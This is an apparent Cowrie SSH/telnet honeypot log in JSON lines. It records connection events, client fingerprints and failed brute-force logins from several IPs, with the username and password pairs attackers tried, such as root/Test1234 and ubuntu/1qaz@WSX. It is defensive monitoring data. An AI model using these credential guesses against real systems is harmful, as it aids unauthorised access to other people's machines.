{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43150,"dst_ip":"10.17.0.5","dst_port":22,"session":"c436f9481f84","protocol":"ssh","message":"New connection: 83.168.110.85:43150 (10.17.0.5:22) [session: c436f9481f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:45.017299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:45.022605Z","src_ip":"83.168.110.85","session":"c436f9481f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:45.145048Z","src_ip":"83.168.110.85","session":"c436f9481f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:45.636304Z","src_ip":"83.168.110.85","session":"c436f9481f84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:46.765109Z","src_ip":"83.168.110.85","session":"c436f9481f84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43162,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd3398d836f0","protocol":"ssh","message":"New connection: 83.168.110.85:43162 (10.17.0.5:22) [session: fd3398d836f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:51.995703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:52.001420Z","src_ip":"83.168.110.85","session":"fd3398d836f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:52.122962Z","src_ip":"83.168.110.85","session":"fd3398d836f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:52.489331Z","src_ip":"83.168.110.85","session":"fd3398d836f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:53.741619Z","src_ip":"83.168.110.85","session":"fd3398d836f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49922,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d283fbd7df3","protocol":"ssh","message":"New connection: 83.168.110.85:49922 (10.17.0.5:22) [session: 3d283fbd7df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:59.027862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:59.032407Z","src_ip":"83.168.110.85","session":"3d283fbd7df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:59.153697Z","src_ip":"83.168.110.85","session":"3d283fbd7df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:59.515178Z","src_ip":"83.168.110.85","session":"3d283fbd7df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:00.709956Z","src_ip":"83.168.110.85","session":"3d283fbd7df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50478,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b18aba9d464","protocol":"ssh","message":"New connection: 83.168.110.85:50478 (10.17.0.5:22) [session: 3b18aba9d464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.139657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.144611Z","src_ip":"83.168.110.85","session":"3b18aba9d464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.265762Z","src_ip":"83.168.110.85","session":"3b18aba9d464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52590,"dst_ip":"159.203.135.109","dst_port":22,"session":"e21073faba45","protocol":"ssh","message":"New connection: 37.233.85.71:52590 (159.203.135.109:22) [session: e21073faba45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.471946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.477371Z","src_ip":"37.233.85.71","session":"e21073faba45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.582063Z","src_ip":"37.233.85.71","session":"e21073faba45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.762391Z","src_ip":"83.168.110.85","session":"3b18aba9d464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:06.895727Z","src_ip":"37.233.85.71","session":"e21073faba45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:07.890755Z","src_ip":"83.168.110.85","session":"3b18aba9d464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:08.002227Z","src_ip":"37.233.85.71","session":"e21073faba45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5576d689dc7b","protocol":"ssh","message":"New connection: 83.168.110.85:50486 (10.17.0.5:22) [session: 5576d689dc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:13.078516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:13.163543Z","src_ip":"83.168.110.85","session":"5576d689dc7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:13.209027Z","src_ip":"83.168.110.85","session":"5576d689dc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:13.676684Z","src_ip":"83.168.110.85","session":"5576d689dc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:14.801040Z","src_ip":"83.168.110.85","session":"5576d689dc7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39472,"dst_ip":"10.17.0.5","dst_port":22,"session":"20226d49feca","protocol":"ssh","message":"New connection: 83.168.110.85:39472 (10.17.0.5:22) [session: 20226d49feca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:19.890758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:19.895324Z","src_ip":"83.168.110.85","session":"20226d49feca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:20.016975Z","src_ip":"83.168.110.85","session":"20226d49feca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:20.380231Z","src_ip":"83.168.110.85","session":"20226d49feca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:21.598287Z","src_ip":"83.168.110.85","session":"20226d49feca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33166,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ccdab91f87","protocol":"ssh","message":"New connection: 83.168.110.85:33166 (10.17.0.5:22) [session: 81ccdab91f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:26.606722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:26.610593Z","src_ip":"83.168.110.85","session":"81ccdab91f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":49076,"dst_ip":"159.203.135.109","dst_port":23,"session":"38061999aa69","protocol":"telnet","message":"New connection: 176.65.139.118:49076 (159.203.135.109:23) [session: 38061999aa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:26.635474Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:26.730923Z","src_ip":"83.168.110.85","session":"81ccdab91f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:27.091599Z","src_ip":"83.168.110.85","session":"81ccdab91f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:28.217035Z","src_ip":"83.168.110.85","session":"81ccdab91f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52098,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb641f416363","protocol":"telnet","message":"New connection: 152.42.224.71:52098 (10.17.0.5:23) [session: cb641f416363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:32.684833Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b29493d42a84","protocol":"ssh","message":"New connection: 83.168.110.85:33182 (10.17.0.5:22) [session: b29493d42a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:34.009625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:34.014520Z","src_ip":"83.168.110.85","session":"b29493d42a84","protocol":"ssh"}
